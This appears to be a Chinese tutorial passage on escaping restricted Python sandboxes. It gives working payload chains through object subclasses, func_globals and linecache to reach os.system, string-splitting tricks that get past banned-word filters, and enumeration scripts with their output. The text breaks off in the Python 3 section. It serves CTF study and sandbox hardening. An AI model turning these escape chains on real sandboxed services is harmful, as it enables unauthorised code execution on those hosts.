Python沙箱逃逸总结
背景知识
内联函数
- python的内联函数功能强大,可以调用一切函数做自己想做的事情。常用的有下面两个:123456789__builtins____import__# 下面代码可列出所有的内联函数dir(__builtins__)# Python3有一个builtins模块,可以导入builtins模块后通过dir函数查看所有的内联函数import builtinsdir(builtins)
dir()函数
- 如果没有参数,则返回当前本地作用域中的名称列表。如果对象有一个_ dir ()的方法,则将调用此方法,并且必须返回属性列表。如果对象没有提供 dir (),则该函数会尽最大努力从对象的 dict 属性(如果已定义)和其类型对象中收集信息。 结果列表不一定完整,并且在对象具有自定义 getattr _()时可能不准确。
- 默认的dir()机制对不同类型的对象有不同的表现,因为它试图产生最相关的信息,而不是完整的信息:
- 如果对象是模块对象,则列表包含模块属性的名称。
- 如果对象是一个类型或类对象,则该列表包含其属性的名称,并递归地显示其基础的属性。
- 否则,该列表将包含对象的属性名称,其类属性的名称以及其类的基类的属性的递归。
- 注意:因为dir()主要是为了方便在交互式提示符下使用而提供的,所以它试图提供一组有趣的名称,而不是试图提供一组严格或一致定义的名称,并且其详细行为可能会在不同版本之间发生变化。 例如,当参数是一个类时,元类属性不在结果列表中。
object类
python的object类中集成了很多的基础函数,我们想要调用的时候也是需要用object去操作的,主要是通过_ mro 和 bases _两种方式来创建object的方法如下:
12345678''.__class__.__mro__[2]<type 'object'>0]().__class__.__bases__[<type 'object'>>>>[].__class__.__mro__[1]<type 'object'>0]{}.__class__.__bases__[<type 'object'>然后通过object类的_ subclasses _()方法获取所有的子类列表,Python2和Python3获取的子类不同。
12>>>{}.__class__.__bases__[0].__subclasses__()>>>''.__class__.__mro__[2].__subclasses__()
import导入机制
- 当 import 一个模块时首先会在 sys.modules 这个字典中查找是否已经加载了此模块,如果加载了则只是将模块的名字加入到正在调用 import 的模块的 Local 命名空间中。如果没有加载则从 sys.path 目录中按照模块名称查找模块文件,模块可以是 py、pyc、pyd,找到后将模块载入内存,并加到 sys.modules 中,并将名称导入到当前的 Local 命名空间。
- 通过 from a import b 导入,a 会被添加到 sys.modules 字典中,b 会被导入到当前的 Local 命名空间。通过 import a as b 导入,a 会被添加到 sys.modules 字典中,b 会被导入到当前的 Local 命名空间。对于嵌套导入的,比如 a.py 中存在一个 import b,那么 import a 时,a 和 b 模块都会被添加到 sys.modules 字典中,a 会被导入到当前的 Local 命名空间中,虽然模块 b 已经加载到内存了,如果访问还要再明确的在本模块中 import b。
- 导入模块时会执行该模块。
- 所以说如果某一个模块导入了os模块,我们就可以利用该模块的 dict 进而使用os模块,如下:12345import linecachelinecache.__dict__['os'].system('ls')# 等价于linecache.os.system('ls')
Python中可以利用的方法和模块
1.任意代码或者命令执行
_ import _()函数
|
|
timeit模块
|
|
exec(),eval(),execfile(),compile()函数
|
|
- 注意:execfile()只存在于Python2,Python3没有该函数
platform模块
|
|
os模块
|
|
subprocess模块
|
|
importlib模块
|
|
2.文件操作
file()函数
|
|
- 注意:该函数只存在于Python2,Python3不存在
open()函数
|
|
codecs模块
|
|
3.获取当前Python环境
sys模块
|
|
一些绕过方式
reload()方法
|
|
- 看起来很安全,但是我们可以通过reload()函数重新加载123_)> reload(__builtins_> import os> dir(os)
base64编码
|
|
利用上面的方法和模块逃逸沙箱
下面代码该如何绕过:
12345678910111213141516171819202122232425262728293031323334# Python2from __future__ import print_functionbanned = ["import","exec","eval","pickle","os","subprocess","kevin sucks","input","banned","cry sum more","sys"]targets = __builtins__.__dict__.keys()targets.remove('raw_input')targets.remove('print')for x in targets:del __builtins__.__dict__[x]while 1:print(">>>", end=' ')data = raw_input()for no in banned:if no.lower() in data.lower():print("No bueno")breakelse: # this means nobreakexec dataPython2有如下几种绕过方式:
12345678910111213# 利用file()函数读取文件:print(().__class__.__bases__[0].__subclasses__()[40]('./test.py').read())# 执行系统命令:print(().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls'))# 等效于下面语句,但是无法绕过print(().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].os.system('ls'))# 执行系统命令:print(().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").system("ls")'))# 重新载入__builtins__:print(().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']("os").system("ls"))
遍历找到其他的逃逸方法
- 通过上面的一些绕过姿势我们发现,无外乎是利用 subclasses 中的一些特殊的方法或者模块然后来调用一些函数或者模块来读取文件,或者执行命令,那么我们可以遍历所有的系统库,然后找到所有的使用了os等模块的模块,然后遍历 subclasses 列表,找到所有可以绕过的姿势。
1.找到所有的特殊系统模块
- 首先去Python的GitHub主页,找到所有的模块列表:
2.遍历所有的特殊模块
遍历代码如下:
12345678910111213141516171819202122232425262728293031# coding=UTF-8# Python2import codecsfrom collections import defaultdictwith codecs.open('2.7.txt', 'r', encoding='UTF-8') as f:modules = f.readlines()modules = [m.split()[0].replace('.py', '') for m in modules]target_modules = ['os', 'platform', 'subprocess', 'timeit', 'importlib', 'codecs', 'sys']target_functions = ['__import__', '__builtins__', 'exec', 'eval', 'execfile', 'compile', 'file', 'open']all_targets = target_modules + target_functionsresults = defaultdict(list)for m in modules:try:module = __import__(m)except Exception as e:# print('ERROR:', m)passfor t in all_targets:if t in module.__dict__:results[m.encode()].append(t)print("可利用模块数量为:"+str(len(results)))for k, v in results.items():print(k, v)遍历结果如下:
1234567891011121314151617253('filecmp', ['os', '__builtins__'])('heapq', ['__builtins__'])('code', ['sys', '__builtins__'])('hotshot', ['__builtins__'])('distutils', ['sys', '__builtins__'])('functools', ['__builtins__'])('random', ['__builtins__'])('tty', ['sys', '__builtins__'])('aifc', ['__builtins__', 'open'])('sysconfig', ['os', 'sys', '__builtins__'])('pprint', ['__builtins__'])('whichdb', ['os', 'sys', '__builtins__'])...------------去重后的模块数量为:253['filecmp', 'heapq', 'code', 'hotshot', 'distutils', ...]
3.遍历 subclasses 寻找上述可以利用的模块和函数
我们找到了253个可以利用的模块,接下来遍历利用的方式,代码如下:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180# coding=UTF-8# Python2find_modules = {'filecmp': ['os', '__builtins__'], 'heapq': ['__builtins__'], 'code': ['sys', '__builtins__'],'hotshot': ['__builtins__'], 'distutils': ['sys', '__builtins__'], 'functools': ['__builtins__'],'random': ['__builtins__'], 'tty': ['sys', '__builtins__'], 'subprocess': ['os', 'sys', '__builtins__'],'sysconfig': ['os', 'sys', '__builtins__'], 'whichdb': ['os', 'sys', '__builtins__'],'runpy': ['sys', '__builtins__'], 'pty': ['os', 'sys', '__builtins__'],'plat-atheos': ['os', 'sys', '__builtins__'], 'xml': ['__builtins__'], 'sgmllib': ['__builtins__'],'importlib': ['sys', '__builtins__'], 'UserList': ['__builtins__'], 'tempfile': ['__builtins__'],'mimify': ['sys', '__builtins__'], 'pprint': ['__builtins__'],'platform': ['os', 'platform', 'sys', '__builtins__'], 'collections': ['__builtins__'],'cProfile': ['__builtins__'], 'smtplib': ['__builtins__'], 'compiler': ['__builtins__', 'compile'],'string': ['__builtins__'], 'SocketServer': ['os', 'sys', '__builtins__'],'plat-darwin': ['os', 'sys', '__builtins__'], 'zipfile': ['os', 'sys', '__builtins__'],'repr': ['__builtins__'], 'wave': ['sys', '__builtins__', 'open'], 'curses': ['__builtins__'],'antigravity': ['__builtins__'], 'plat-irix6': ['os', 'sys', '__builtins__'],'plat-freebsd6': ['os', 'sys', '__builtins__'], 'plat-freebsd7': ['os', 'sys', '__builtins__'],'plat-freebsd4': ['os', 'sys', '__builtins__'], 'plat-freebsd5': ['os', 'sys', '__builtins__'],'plat-freebsd8': ['os', 'sys', '__builtins__'], 'aifc': ['__builtins__', 'open'],'sndhdr': ['__builtins__'], 'cookielib': ['__builtins__'], 'ConfigParser': ['__builtins__'],'httplib': ['os', '__builtins__'], '_MozillaCookieJar': ['sys', '__builtins__'],'bisect': ['__builtins__'], 'decimal': ['__builtins__'], 'cmd': ['__builtins__'],'binhex': ['os', 'sys', '__builtins__'], 'sunau': ['__builtins__', 'open'],'pydoc': ['os', 'sys', '__builtins__'], 'plat-riscos': ['os', 'sys', '__builtins__'],'token': ['__builtins__'], 'Bastion': ['__builtins__'], 'msilib': ['os', 'sys', '__builtins__'],'shlex': ['os', 'sys', '__builtins__'], 'quopri': ['__builtins__'],'multiprocessing': ['os', 'sys', '__builtins__'], 'dummy_threading': ['__builtins__'],'dircache': ['os', '__builtins__'], 'asyncore': ['os', 'sys', '__builtins__'],'pkgutil': ['os', 'sys', '__builtins__'], 'compileall': ['os', 'sys', '__builtins__'],'SimpleHTTPServer': ['os', 'sys', '__builtins__'], 'locale': ['sys', '__builtins__'],'chunk': ['__builtins__'], 'macpath': ['os', '__builtins__'], 'popen2': ['os', 'sys', '__builtins__'],'mimetypes': ['os', 'sys', '__builtins__'], 'toaiff': ['os', '__builtins__'],'atexit': ['sys', '__builtins__'], 'pydoc_data': ['__builtins__'],'tabnanny': ['os', 'sys', '__builtins__'], 'HTMLParser': ['__builtins__'],'encodings': ['codecs', '__builtins__'], 'BaseHTTPServer': ['sys', '__builtins__'],'calendar': ['sys', '__builtins__'], 'mailcap': ['os', '__builtins__'],'plat-unixware7': ['os', 'sys', '__builtins__'], 'abc': ['__builtins__'], 'plistlib': ['__builtins__'],'bdb': ['os', 'sys', '__builtins__'], 'py_compile': ['os', 'sys', '__builtins__', 'compile'],'pipes': ['os', '__builtins__'], 'rfc822': ['__builtins__'],'tarfile': ['os', 'sys', '__builtins__', 'open'], 'struct': ['__builtins__'],'urllib': ['os', 'sys', '__builtins__'], 'fpformat': ['__builtins__'],'re': ['sys', '__builtins__', 'compile'], 'mutex': ['__builtins__'],'ntpath': ['os', 'sys', '__builtins__'], 'UserString': ['sys', '__builtins__'], 'new': ['__builtins__'],'formatter': ['sys', '__builtins__'], 'email': ['sys', '__builtins__'],'cgi': ['os', 'sys', '__builtins__'], 'ftplib': ['os', 'sys', '__builtins__'],'plat-linux2': ['os', 'sys', '__builtins__'], 'ast': ['__builtins__'],'optparse': ['os', 'sys', '__builtins__'], 'UserDict': ['__builtins__'],'inspect': ['os', 'sys', '__builtins__'], 'mailbox': ['os', 'sys', '__builtins__'],'Queue': ['__builtins__'], 'fnmatch': ['__builtins__'], 'ctypes': ['__builtins__'],'codecs': ['sys', '__builtins__', 'open'], 'getopt': ['os', '__builtins__'], 'md5': ['__builtins__'],'cgitb': ['os', 'sys', '__builtins__'], 'commands': ['__builtins__'],'logging': ['os', 'codecs', 'sys', '__builtins__'], 'socket': ['os', 'sys', '__builtins__'],'plat-irix5': ['os', 'sys', '__builtins__'], 'sre': ['__builtins__', 'compile'],'ensurepip': ['os', 'sys', '__builtins__'], 'DocXMLRPCServer': ['sys', '__builtins__'],'traceback': ['sys', '__builtins__'], 'netrc': ['os', '__builtins__'], 'wsgiref': ['__builtins__'],'plat-generic': ['os', 'sys', '__builtins__'], 'weakref': ['__builtins__'],'ihooks': ['os', 'sys', '__builtins__'], 'telnetlib': ['sys', '__builtins__'],'doctest': ['os', 'sys', '__builtins__'], 'pstats': ['os', 'sys', '__builtins__'],'smtpd': ['os', 'sys', '__builtins__'], '_pyio': ['os', 'codecs', 'sys', '__builtins__', 'open'],'dis': ['sys', '__builtins__'], 'os': ['sys', '__builtins__', 'open'],'pdb': ['os', 'sys', '__builtins__'], 'this': ['__builtins__'], 'base64': ['__builtins__'],'os2emxpath': ['os', '__builtins__'], 'glob': ['os', 'sys', '__builtins__'],'unittest': ['__builtins__'], 'dummy_thread': ['__builtins__'],'fileinput': ['os', 'sys', '__builtins__'], '__future__': ['__builtins__'],'robotparser': ['__builtins__'], 'plat-mac': ['os', 'sys', '__builtins__'],'_threading_local': ['__builtins__'], '_LWPCookieJar': ['sys', '__builtins__'],'wsgiref.egg-info': ['os', 'sys', '__builtins__'], 'sha': ['__builtins__'],'sre_constants': ['__builtins__'], 'json': ['__builtins__'], 'Cookie': ['__builtins__'],'tokenize': ['__builtins__'], 'plat-beos5': ['os', 'sys', '__builtins__'],'rexec': ['os', 'sys', '__builtins__'], 'lib-tk': ['__builtins__'], 'textwrap': ['__builtins__'],'fractions': ['__builtins__'], 'sqlite3': ['__builtins__'], 'posixfile': ['__builtins__', 'open'],'imaplib': ['subprocess', 'sys', '__builtins__'], 'xdrlib': ['__builtins__'],'imghdr': ['__builtins__'], 'macurl2path': ['os', '__builtins__'],'_osx_support': ['os', 'sys', '__builtins__'],'webbrowser': ['os', 'subprocess', 'sys', '__builtins__', 'open'],'plat-netbsd1': ['os', 'sys', '__builtins__'], 'nturl2path': ['__builtins__'],'tkinter': ['__builtins__'], 'copy': ['__builtins__'], 'pickletools': ['__builtins__'],'hashlib': ['__builtins__'], 'anydbm': ['__builtins__', 'open'], 'keyword': ['__builtins__'],'timeit': ['timeit', 'sys', '__builtins__'], 'uu': ['os', 'sys', '__builtins__'],'StringIO': ['__builtins__'], 'modulefinder': ['os', 'sys', '__builtins__'],'stringprep': ['__builtins__'], 'markupbase': ['__builtins__'], 'colorsys': ['__builtins__'],'shelve': ['__builtins__', 'open'], 'multifile': ['__builtins__'], 'sre_parse': ['sys', '__builtins__'],'pickle': ['sys', '__builtins__'], 'plat-os2emx': ['os', 'sys', '__builtins__'],'mimetools': ['os', 'sys', '__builtins__'], 'audiodev': ['__builtins__'], 'copy_reg': ['__builtins__'],'sre_compile': ['sys', '__builtins__', 'compile'], 'CGIHTTPServer': ['os', 'sys', '__builtins__'],'idlelib': ['__builtins__'], 'site': ['os', 'sys', '__builtins__'],'getpass': ['os', 'sys', '__builtins__'], 'imputil': ['sys', '__builtins__'],'bsddb': ['os', 'sys', '__builtins__'], 'contextlib': ['sys', '__builtins__'],'numbers': ['__builtins__'], 'io': ['__builtins__', 'open'],'plat-sunos5': ['os', 'sys', '__builtins__'], 'symtable': ['__builtins__'],'pyclbr': ['sys', '__builtins__'], 'shutil': ['os', 'sys', '__builtins__'], 'lib2to3': ['__builtins__'],'threading': ['__builtins__'], 'dbhash': ['sys', '__builtins__', 'open'],'gettext': ['os', 'sys', '__builtins__'], 'dumbdbm': ['__builtins__', 'open'],'_weakrefset': ['__builtins__'], '_abcoll': ['sys', '__builtins__'], 'MimeWriter': ['__builtins__'],'test': ['__builtins__'], 'opcode': ['__builtins__'], 'csv': ['__builtins__'],'nntplib': ['__builtins__'], 'profile': ['os', 'sys', '__builtins__'],'genericpath': ['os', '__builtins__'], 'stat': ['__builtins__'], '__phello__.foo': ['__builtins__'],'sched': ['__builtins__'], 'statvfs': ['__builtins__'], 'trace': ['os', 'sys', '__builtins__'],'warnings': ['sys', '__builtins__'], 'symbol': ['__builtins__'], 'sets': ['__builtins__'],'htmlentitydefs': ['__builtins__'], 'urllib2': ['os', 'sys', '__builtins__'],'SimpleXMLRPCServer': ['os', 'sys', '__builtins__'], 'sunaudio': ['__builtins__'],'pdb.doc': ['os', '__builtins__'], 'asynchat': ['__builtins__'], 'user': ['os', '__builtins__'],'xmllib': ['__builtins__'], 'codeop': ['__builtins__'], 'plat-next3': ['os', 'sys', '__builtins__'],'types': ['__builtins__'], 'argparse': ['__builtins__'], 'uuid': ['os', 'sys', '__builtins__'],'plat-aix4': ['os', 'sys', '__builtins__'], 'plat-aix3': ['os', 'sys', '__builtins__'],'ssl': ['os', 'sys', '__builtins__'], 'poplib': ['__builtins__'], 'xmlrpclib': ['__builtins__'],'difflib': ['__builtins__'], 'urlparse': ['__builtins__'], 'linecache': ['os', 'sys', '__builtins__'],'_strptime': ['__builtins__'], 'htmllib': ['__builtins__'], 'site-packages': ['__builtins__'],'posixpath': ['os', 'sys', '__builtins__'], 'stringold': ['__builtins__'],'gzip': ['os', 'sys', '__builtins__', 'open'], 'mhlib': ['os', 'sys', '__builtins__'],'rlcompleter': ['__builtins__'], 'hmac': ['__builtins__']}target_modules = ['os', 'platform', 'subprocess', 'timeit', 'importlib', 'codecs', 'sys']target_functions = ['__import__', '__builtins__', 'exec', 'eval', 'execfile', 'compile', 'file', 'open']all_targets = list(set(find_modules.keys() + target_modules + target_functions))all_modules = list(set(find_modules.keys() + target_modules))subclasses = ().__class__.__bases__[0].__subclasses__()sub_name = [s.__name__ for s in subclasses]# 第一种遍历,如:().__class__.__bases__[0].__subclasses__()[40]('./test.py').read()print('----------1-----------')for i, s in enumerate(sub_name):for f in all_targets:if f == s:if f in target_functions:print(i, f)elif f in all_modules:target = find_modules[f]sub_dict = subclasses[i].__dict__for t in target:if t in sub_dict:print(i, f, target)print('----------2-----------')# 第二种遍历,如:().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')for i, sub in enumerate(subclasses):try:more = sub.__init__.func_globalsfor m in all_targets:if m in more:print(i, sub, m, find_modules.get(m))except Exception as e:passprint('----------3-----------')# 第三种遍历,如:().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").system("ls")')for i, sub in enumerate(subclasses):try:more = sub.__init__.func_globals.values()for j, v in enumerate(more):for f in all_targets:try:if f in v:if f in target_functions:print(i, j, sub, f)elif f in all_modules:target = find_modules.get(f)sub_dict = v[f].__dict__for t in target:if t in sub_dict:print(i, j, sub, f, target)except Exception as e:passexcept Exception as e:passprint('----------4-----------')# 第四种遍历:如:().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']("os").system("ls")# <class 'warnings.catch_warnings'>类很特殊,在内部定义了_module=sys.modules['warnings'],然后warnings模块包含有__builtins__,不具有通用性,本质上跟第一种方法类似for i, sub in enumerate(subclasses):try:more = sub()._module.__builtins__for f in all_targets:if f in more:print(i, f)except Exception as e:pass在Python 2.7.12,Ubuntu 16.04的环境上运行结果如下:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990----------1-----------(40, 'file')----------2-----------(58, <class 'warnings.WarningMessage'>, 'linecache', ['os', 'sys', '__builtins__'])(58, <class 'warnings.WarningMessage'>, 'sys', None)(58, <class 'warnings.WarningMessage'>, '__builtins__', None)(58, <class 'warnings.WarningMessage'>, 'types', ['__builtins__'])(59, <class 'warnings.catch_warnings'>, 'linecache', ['os', 'sys', '__builtins__'])(59, <class 'warnings.catch_warnings'>, 'sys', None)(59, <class 'warnings.catch_warnings'>, '__builtins__', None)(59, <class 'warnings.catch_warnings'>, 'types', ['__builtins__'])(60, <class '_weakrefset._IterationGuard'>, '__builtins__', None)(61, <class '_weakrefset.WeakSet'>, '__builtins__', None)(71, <class 'site._Printer'>, 'traceback', ['sys', '__builtins__'])(71, <class 'site._Printer'>, 'os', ['sys', '__builtins__', 'open'])(71, <class 'site._Printer'>, 'sys', None)(71, <class 'site._Printer'>, '__builtins__', None)(76, <class 'site.Quitter'>, 'traceback', ['sys', '__builtins__'])(76, <class 'site.Quitter'>, 'os', ['sys', '__builtins__', 'open'])(76, <class 'site.Quitter'>, 'sys', None)(76, <class 'site.Quitter'>, '__builtins__', None)(77, <class 'codecs.IncrementalEncoder'>, 'sys', None)(77, <class 'codecs.IncrementalEncoder'>, 'open', None)(77, <class 'codecs.IncrementalEncoder'>, '__builtins__', None)(78, <class 'codecs.IncrementalDecoder'>, 'sys', None)(78, <class 'codecs.IncrementalDecoder'>, 'open', None)(78, <class 'codecs.IncrementalDecoder'>, '__builtins__', None)----------3-----------(58, 13, <class 'warnings.WarningMessage'>, '__import__')(58, 13, <class 'warnings.WarningMessage'>, 'file')(58, 13, <class 'warnings.WarningMessage'>, 'compile')(58, 13, <class 'warnings.WarningMessage'>, 'eval')(58, 13, <class 'warnings.WarningMessage'>, 'open')(58, 13, <class 'warnings.WarningMessage'>, 'execfile')(59, 13, <class 'warnings.catch_warnings'>, '__import__')(59, 13, <class 'warnings.catch_warnings'>, 'file')(59, 13, <class 'warnings.catch_warnings'>, 'compile')(59, 13, <class 'warnings.catch_warnings'>, 'eval')(59, 13, <class 'warnings.catch_warnings'>, 'open')(59, 13, <class 'warnings.catch_warnings'>, 'execfile')(60, 1, <class '_weakrefset._IterationGuard'>, '__import__')(60, 1, <class '_weakrefset._IterationGuard'>, 'file')(60, 1, <class '_weakrefset._IterationGuard'>, 'compile')(60, 1, <class '_weakrefset._IterationGuard'>, 'eval')(60, 1, <class '_weakrefset._IterationGuard'>, 'open')(60, 1, <class '_weakrefset._IterationGuard'>, 'execfile')(61, 1, <class '_weakrefset.WeakSet'>, '__import__')(61, 1, <class '_weakrefset.WeakSet'>, 'file')(61, 1, <class '_weakrefset.WeakSet'>, 'compile')(61, 1, <class '_weakrefset.WeakSet'>, 'eval')(61, 1, <class '_weakrefset.WeakSet'>, 'open')(61, 1, <class '_weakrefset.WeakSet'>, 'execfile')(71, 19, <class 'site._Printer'>, 'file')(71, 19, <class 'site._Printer'>, 'exec')(71, 22, <class 'site._Printer'>, '__import__')(71, 22, <class 'site._Printer'>, 'file')(71, 22, <class 'site._Printer'>, 'compile')(71, 22, <class 'site._Printer'>, 'eval')(71, 22, <class 'site._Printer'>, 'open')(71, 22, <class 'site._Printer'>, 'execfile')(76, 19, <class 'site.Quitter'>, 'file')(76, 19, <class 'site.Quitter'>, 'exec')(76, 22, <class 'site.Quitter'>, '__import__')(76, 22, <class 'site.Quitter'>, 'file')(76, 22, <class 'site.Quitter'>, 'compile')(76, 22, <class 'site.Quitter'>, 'eval')(76, 22, <class 'site.Quitter'>, 'open')(76, 22, <class 'site.Quitter'>, 'execfile')(77, 20, <class 'codecs.IncrementalEncoder'>, 'open')(77, 22, <class 'codecs.IncrementalEncoder'>, '__import__')(77, 22, <class 'codecs.IncrementalEncoder'>, 'file')(77, 22, <class 'codecs.IncrementalEncoder'>, 'compile')(77, 22, <class 'codecs.IncrementalEncoder'>, 'eval')(77, 22, <class 'codecs.IncrementalEncoder'>, 'open')(77, 22, <class 'codecs.IncrementalEncoder'>, 'execfile')(78, 20, <class 'codecs.IncrementalDecoder'>, 'open')(78, 22, <class 'codecs.IncrementalDecoder'>, '__import__')(78, 22, <class 'codecs.IncrementalDecoder'>, 'file')(78, 22, <class 'codecs.IncrementalDecoder'>, 'compile')(78, 22, <class 'codecs.IncrementalDecoder'>, 'eval')(78, 22, <class 'codecs.IncrementalDecoder'>, 'open')(78, 22, <class 'codecs.IncrementalDecoder'>, 'execfile')----------4-----------(59, '__import__')(59, 'file')(59, 'repr')(59, 'compile')(59, 'eval')(59, 'open')(59, 'execfile')可以看到在Python2中,可以利用的模块和函数还是相当多的。Python3中有一些变动,funcglobals被 globals _替代,下面是遍历Python3中的代码:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158# coding=UTF-8# Python3find_modules = {'asyncio': ['subprocess', 'sys', '__builtins__'], 'collections': ['__builtins__'],'concurrent': ['__builtins__'], 'ctypes': ['__builtins__'], 'curses': ['__builtins__'],'dbm': ['os', 'sys', '__builtins__', 'open'], 'distutils': ['sys', '__builtins__'],'email': ['__builtins__'], 'encodings': ['codecs', 'sys', '__builtins__'],'ensurepip': ['os', 'sys', '__builtins__'], 'html': ['__builtins__'], 'http': ['__builtins__'],'idlelib': ['__builtins__'], 'importlib': ['sys', '__import__', '__builtins__'],'json': ['codecs', '__builtins__'], 'lib2to3': ['__builtins__'],'logging': ['os', 'sys', '__builtins__'], 'msilib': ['os', 'sys', '__builtins__'],'multiprocessing': ['sys', '__builtins__'], 'pydoc_data': ['__builtins__'], 'sqlite3': ['__builtins__'],'test': ['__builtins__'], 'tkinter': ['sys', '__builtins__'], 'turtledemo': ['__builtins__'],'unittest': ['__builtins__'], 'urllib': ['__builtins__'],'venv': ['os', 'subprocess', 'sys', '__builtins__'], 'wsgiref': ['__builtins__'],'xml': ['__builtins__'], 'xmlrpc': ['__builtins__'], '__future__': ['__builtins__'],'__phello__.foo': ['__builtins__'], '_bootlocale': ['sys', '__builtins__'],'_collections_abc': ['sys', '__builtins__'], '_compat_pickle': ['__builtins__'],'_compression': ['__builtins__'], '_dummy_thread': ['__builtins__'], '_markupbase': ['__builtins__'],'_osx_support': ['os', 'sys', '__builtins__'], '_pydecimal': ['__builtins__'],'_pyio': ['os', 'codecs', 'sys', '__builtins__', 'open'], '_sitebuiltins': ['sys', '__builtins__'],'_strptime': ['__builtins__'], '_threading_local': ['__builtins__'], '_weakrefset': ['__builtins__'],'abc': ['__builtins__'], 'aifc': ['__builtins__', 'open'], 'antigravity': ['__builtins__'],'argparse': ['__builtins__'], 'ast': ['__builtins__'], 'asynchat': ['__builtins__'],'asyncore': ['os', 'sys', '__builtins__'], 'base64': ['__builtins__'],'bdb': ['os', 'sys', '__builtins__'], 'binhex': ['os', '__builtins__'], 'bisect': ['__builtins__'],'bz2': ['os', '__builtins__', 'open'], 'cProfile': ['__builtins__'],'calendar': ['sys', '__builtins__'], 'cgi': ['os', 'sys', '__builtins__'],'cgitb': ['os', 'sys', '__builtins__'], 'chunk': ['__builtins__'], 'cmd': ['sys', '__builtins__'],'code': ['sys', '__builtins__'], 'codecs': ['sys', '__builtins__', 'open'], 'codeop': ['__builtins__'],'colorsys': ['__builtins__'], 'compileall': ['os', 'importlib', 'sys', '__builtins__'],'configparser': ['os', 'sys', '__builtins__'], 'contextlib': ['sys', '__builtins__'],'copy': ['__builtins__'], 'copyreg': ['__builtins__'], 'crypt': ['__builtins__'],'csv': ['__builtins__'], 'datetime': ['__builtins__'], 'decimal': ['__builtins__'],'difflib': ['__builtins__'], 'dis': ['sys', '__builtins__'], 'doctest': ['os', 'sys', '__builtins__'],'dummy_threading': ['__builtins__'], 'enum': ['sys', '__builtins__'], 'filecmp': ['os', '__builtins__'],'fileinput': ['os', 'sys', '__builtins__'], 'fnmatch': ['os', '__builtins__'],'formatter': ['sys', '__builtins__'], 'fractions': ['sys', '__builtins__'],'ftplib': ['sys', '__builtins__'], 'functools': ['__builtins__'], 'genericpath': ['os', '__builtins__'],'getopt': ['os', '__builtins__'], 'getpass': ['os', 'sys', '__builtins__'],'gettext': ['os', 'sys', '__builtins__'], 'glob': ['os', '__builtins__'],'gzip': ['os', 'sys', '__builtins__', 'open'], 'hashlib': ['__builtins__'], 'heapq': ['__builtins__'],'hmac': ['__builtins__'], 'imaplib': ['subprocess', 'sys', '__builtins__'], 'imghdr': ['__builtins__'],'imp': ['os', 'importlib', 'sys', '__builtins__'],'inspect': ['os', 'importlib', 'sys', '__builtins__'], 'io': ['__builtins__', 'open'],'ipaddress': ['__builtins__'], 'keyword': ['__builtins__'], 'linecache': ['os', 'sys', '__builtins__'],'locale': ['sys', '__builtins__'], 'lzma': ['os', '__builtins__', 'open'],'macpath': ['os', '__builtins__'], 'macurl2path': ['os', '__builtins__'],'mailbox': ['os', '__builtins__'], 'mailcap': ['os', '__builtins__'],'mimetypes': ['os', 'sys', '__builtins__'], 'modulefinder': ['os', 'importlib', 'sys', '__builtins__'],'netrc': ['os', '__builtins__'], 'nntplib': ['__builtins__'], 'ntpath': ['os', 'sys', '__builtins__'],'nturl2path': ['__builtins__'], 'numbers': ['__builtins__'], 'opcode': ['__builtins__'],'operator': ['__builtins__'], 'optparse': ['os', 'sys', '__builtins__'],'os': ['sys', '__builtins__', 'open'], 'pathlib': ['os', 'sys', '__builtins__'],'pdb': ['os', 'sys', '__builtins__'], 'pickle': ['codecs', 'sys', '__builtins__'],'pickletools': ['codecs', 'sys', '__builtins__'], 'pipes': ['os', '__builtins__'],'pkgutil': ['os', 'importlib', 'sys', '__builtins__'],'platform': ['os', 'platform', 'subprocess', 'sys', '__builtins__'],'plistlib': ['os', 'codecs', '__builtins__'], 'poplib': ['__builtins__'],'posixpath': ['os', 'sys', '__builtins__'], 'pprint': ['__builtins__'],'profile': ['os', 'sys', '__builtins__'], 'pstats': ['os', 'sys', '__builtins__'],'pty': ['os', 'sys', '__builtins__'],'py_compile': ['os', 'importlib', 'sys', '__builtins__', 'compile'],'pyclbr': ['importlib', 'sys', '__builtins__'],'pydoc': ['os', 'platform', 'importlib', 'sys', '__builtins__'], 'queue': ['__builtins__'],'quopri': ['__builtins__'], 'random': ['__builtins__'], 're': ['__builtins__', 'compile'],'reprlib': ['__builtins__'], 'rlcompleter': ['__builtins__'],'runpy': ['importlib', 'sys', '__builtins__'], 'sched': ['__builtins__'],'secrets': ['os', '__builtins__'], 'selectors': ['sys', '__builtins__'],'shelve': ['__builtins__', 'open'], 'shlex': ['os', 'sys', '__builtins__'],'shutil': ['os', 'sys', '__builtins__'], 'signal': ['__builtins__'],'site': ['os', 'sys', '__builtins__'], 'smtpd': ['os', 'sys', '__builtins__'],'smtplib': ['sys', '__builtins__'], 'sndhdr': ['__builtins__'], 'socket': ['os', 'sys', '__builtins__'],'socketserver': ['os', 'sys', '__builtins__'], 'sre_compile': ['__builtins__', 'compile'],'sre_constants': ['__builtins__'], 'sre_parse': ['__builtins__'], 'ssl': ['os', 'sys', '__builtins__'],'stat': ['__builtins__'], 'statistics': ['__builtins__'], 'string': ['__builtins__'],'stringprep': ['__builtins__'], 'struct': ['__builtins__'], 'subprocess': ['os', 'sys', '__builtins__'],'sunau': ['__builtins__', 'open'], 'symbol': ['__builtins__'], 'symtable': ['__builtins__'],'sysconfig': ['os', 'sys', '__builtins__'], 'tabnanny': ['os', 'sys', '__builtins__'],'tarfile': ['os', 'sys', '__builtins__', 'open'], 'telnetlib': ['sys', 